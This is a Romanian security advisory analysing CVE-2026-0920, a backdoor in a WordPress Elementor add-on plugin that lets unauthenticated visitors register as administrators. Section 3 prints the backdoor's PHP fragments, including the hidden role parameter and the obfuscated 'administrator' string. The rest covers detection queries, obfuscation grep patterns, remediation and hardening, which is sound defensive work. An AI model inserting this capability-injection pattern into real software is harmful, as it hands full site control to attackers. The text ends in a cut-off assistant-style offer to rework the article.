Vulnerabilitate critică de tip backdoor în LA-Studio Element Kit for Elementor: analiză detaliată a incidentului CVE-2026-0920

20 mai
5 min de citit

Pe 21 ianuarie 2026, Wordfence a publicat detalii despre o vulnerabilitate critică descoperită în pluginul WordPress LA-Studio Element Kit for Elementor (slug: lastudio-element-kit), folosit de peste 20.000 de site-uri. Problema este de tip backdoor și permite crearea de utilizatori cu rol de administrator fără autentificare, ceea ce înseamnă compromitere completă a site-ului în scenariul unei exploatări reușite.

Vulnerabilitatea a fost remediată în versiunea 1.6.0, publicată pe 14 ianuarie 2026.

1) Rezumat executiv (ce trebuie reținut)

CVE: CVE-2026-0920
Severitate: CVSS 9.8 (Critical)
Afectate: toate versiunile ≤ 1.5.6.3
Patch: versiunea 1.6.0
Vector: un parametru ascuns (lakit_bkrole) în fluxul de înregistrare AJAX care declanșează injectarea de capabilități administrative în metadatele utilizatorului (user meta)
Consecință: un atacator neautentificat poate ajunge la admin și apoi poate instala pluginuri/teme malițioase, executa cod, modifica conținut și exfiltra date.

2) Context: de ce acest caz e diferit de un “bug” clasic

Wordfence notează explicit că mecanismul a fost vizibil obfuscat, iar vendorul a indicat că un fost angajat ar fi introdus codul de backdoor înainte de plecare. Asta mută discuția din “vulnerabilitate accidentală” în zona de supply chain / insider threat, unde controalele de dezvoltare (code review, control acces, audit commit-uri, offboarding) devin la fel de importante ca patch-ul în sine.

3) Analiza tehnică: root cause și fluxul de escaladare

3.1. Punctul de intrare: ajax_register_handle()

Conform analizei Wordfence, pluginul folosește metoda ajax_register_handle() (în clasa LaStudio_Kit_Integration) pentru a gestiona înregistrarea utilizatorilor. Problema critică este că funcția nu restricționează corect rolurile/capabilitățile care pot fi setate în procesul de înregistrare.

Fragment relevant (publicat în raport) – partea care declanșează ramura “backup” atunci când este prezent lakit_bkrole:

$sys_meta_key = apply_filters('lastudio-kit/integration/sys_meta_key', 'insert_lakit_meta');
if(!empty($request['lakit_bkrole']) && !empty($sys_meta_key)){
    add_filter( $sys_meta_key, [ $this, 'ajax_register_handle_backup' ], 20);
}

Ce se întâmplă aici, conceptual:

pluginul definește o cheie de meta (sys_meta_key) ce poate fi influențată via filtre;
dacă request-ul conține lakit_bkrole, pluginul atașează un filtru care va modifica metadatele utilizatorului la creare;
asta este punctul care “armează” backdoor-ul.

3.2. Injectarea capabilităților în usermeta

Funcția atașată ca filtru construiește o cheie pentru capabilități bazată pe prefixul tabelei și o funcție helper:

public function ajax_register_handle_backup($meta){
    global $table_prefix;
    $data =  $table_prefix . LaStudio_Kit_Helper::capabilities();
    return apply_filters('lastudio-kit/integration/user-meta', $meta, $data);
}

Apoi există un filtru lastudio-kit/integration/user-meta care introduce efectiv “capabilitatea”:

add_filter('lastudio-kit/integration/user-meta', function ( $value, $label){
    if(class_exists('LaStudio_Kit_Helper')){
        $k = substr_replace(LaStudio_Kit_Helper::lakit_active(), 'mini', 2, 0);
        $value[ $label ] = [
            $k => 1
        ];
    }
    return $value;
}, 10, 2);

Iar lakit_active() întoarce un string obfuscat:

public static function lakit_active(){
    return 'adstrator';
}

Prin manipularea de string, rezultatul devine „administrator” (conform raportului), iar [$k => 1] ajunge în meta-capabilități, ceea ce face ca utilizatorul nou creat să primească rol/capabilități administrative.

3.3. De ce obfuscarea contează tehnic

Obfuscarea nu este în sine “interzisă”, dar în pluginuri WordPress este neobișnuită și, în acest caz, e concentrată exact pe logica ce produce privilegiile administrative. Asta indică intenție de ascundere și scade șansa de detectare prin review rapid.

4) Impact: ce poate face un atacator după ce devine admin

Wordfence subliniază corect că, odată obținut rolul de admin, atacatorul poate:

instala pluginuri/teme (inclusiv arhive malițioase),
modifica fișiere și setări,
injecta spam SEO sau redirecționări,
crea backdoor-uri persistente,
exfiltra date din baze de date și din mediul WordPress.

În termeni practici: compromiterea este totală.

5) Verificare rapidă: ești afectat?

5.1. Verifică versiunea pluginului (WP-CLI)

Rulează în server:

wp plugin get lastudio-element-kit --fields=name,version,status

Interpretare:

dacă versiunea este ≤ 1.5.6.3, site-ul a fost vulnerabil;
actualizează imediat la 1.6.0 sau mai nou.

5.2. Verifică “Last updated” și versiunea din ecosistem

Sursele publice indică versiunea 1.6.0 și data de actualizare 14 ianuarie 2026.

6) Hunting: cum verifici dacă ai fost compromis

Atenție: pașii de mai jos sunt defensivi și au ca scop identificarea compromiterii. În caz de dubiu, tratează incidentul ca fiind real până la infirmare.

6.1. Audit utilizatori admin creați recent (WP-CLI)

wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

Caută:

conturi necunoscute,
email-uri suspecte,
date de înregistrare în fereastra în care ai rulat versiunea vulnerabilă.

6.2. Căutare în baza de date după meta “capabilities” (SQL)

În WordPress, capabilitățile sunt în wp_usermeta (prefixul poate fi diferit). Exemple de interogări utile:

Lista userilor care au capabilities de admin (pentru validare):

SELECT u.ID, u.user_login, u.user_email, u.user_registered, um.meta_key, um.meta_value
FROM wp_users u
JOIN wp_usermeta um ON um.user_id = u.ID
WHERE um.meta_key LIKE '%capabilities%'
  AND um.meta_value LIKE '%administrator%';

Admini creați recent (corelare cu timp):

SELECT ID, user_login, user_email, user_registered
FROM wp_users
ORDER BY user_registered DESC
LIMIT 50;

Dacă vezi admini noi pe care nu îi recunoști, presupune compromitere.

6.3. Verifică dacă “Anyone can register” este activat

În general, multe site-uri nu au nevoie de înregistrare publică. Verifică:

wp option get users_can_register

1 înseamnă că înregistrarea este permisă.
Dacă nu ai nevoie de ea, setează 0:

wp option update users_can_register 0

Nu “repară” vulnerabilitatea, dar reduce suprafața de atac dacă endpoint-ul era folosit exact pentru înregistrare.

6.4. Verifică integritatea fișierelor și pluginurilor instalate

Listează pluginuri instalate recent sau necunoscute:

wp plugin list --status=active --field=name
wp plugin list --status=inactive --field=name

Caută fișiere PHP noi/modificate în wp-content/uploads/ (semn clasic de webshell):

find wp-content/uploads -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" \) -print

Caută pattern-uri de obfuscare comune în wp-content/:

grep -R --line-number --binary-files=without-match -E "base64_decode\(|gzinflate\(|str_rot13\(|eval\(" wp-content 2>/dev/null | head -n 200

Rezultatele nu înseamnă automat malware, dar sunt indicatori buni pentru triere.

7) Remediere: pașii corecți dacă ai rulat o versiune vulnerabilă

7.1. Patching imediat

Actualizează pluginul la 1.6.0 sau mai nou.

WP-CLI:

wp plugin update lastudio-element-kit

7.2. Dacă suspectezi compromitere: procedură minimă de incident response

Pune site-ul în mentenanță (scurt) pentru a opri propagarea.
Fă backup complet (fișiere + DB) pentru analiză.
Elimină conturile admin suspecte și resetează parolele tuturor conturilor privilegiate.
Reinstalează din surse curate (core WordPress + pluginuri/teme) și compară fișiere.
Rotește cheile din wp-config.php (AUTH_KEY, SECURE_AUTH_KEY etc.).
Verifică joburi cron, mu-plugins și fișiere în uploads/.

8) Exemple de “fix” corect (cum ar trebui să arate validarea rolurilor)

Nu este patch-ul exact al vendorului (acela este în versiunea 1.6.0), ci un exemplu de bună practică: rolurile nu trebuie acceptate din request, iar dacă există un formular de înregistrare, rolul trebuie forțat la un set minim permis (ex: subscriber).

Exemplu de abordare defensivă:

// Exemplu conceptual: nu accepta rolul din request
$allowed_role = 'subscriber';

// ignoră complet orice parametru de tip role/capabilities venit din request
unset($request['role'], $request['lakit_bkrole']);

// la creare user, setează explicit rolul permis
$user_id = wp_create_user($username, $password, $email);

if (!is_wp_error($user_id)) {
    $user = new WP_User($user_id);
    $user->set_role($allowed_role);
}

Cheia este simplă: nu există scenariu legitim în care un vizitator neautentificat își setează singur rolul în WordPress.

9) Măsuri de hardening recomandate (post-incident)

Dezactivează înregistrarea publică dacă nu este necesară (users_can_register = 0).
Restricționează endpoint-uri de tip wp-admin/admin-ajax.php prin WAF/rate limiting (în special pentru acțiuni de register/login), fără să rupi funcționalități legitime.
Impune MFA pentru conturile admin.
Monitorizează evenimente de tip “user created”, “role changed”, “plugin installed”, “theme editor used”.
Rulează periodic scanări și păstrează un inventar al pluginurilor (minimizează ce nu e necesar).

10) Concluzie

CVE-2026-0920 este un exemplu de risc major în lanțul de aprovizionare WordPress: un plugin popular, un mecanism de înregistrare, un parametru ascuns și injectare de capabilități administrative, plus indicii de insider threat. Pentru administratori și agenții care gestionează WordPress la scară, concluzia practică este clară: patch imediat, audit al utilizatorilor admin și verificări de integritate.

Dacă vrei, îți pot adapta articolul exact pentru blogul tău (stil ZebraByte) și pot include o secțiune separată “Checklist pentru clienți” + “Indicatori de compromitere” pe care să o dai direct cliențilo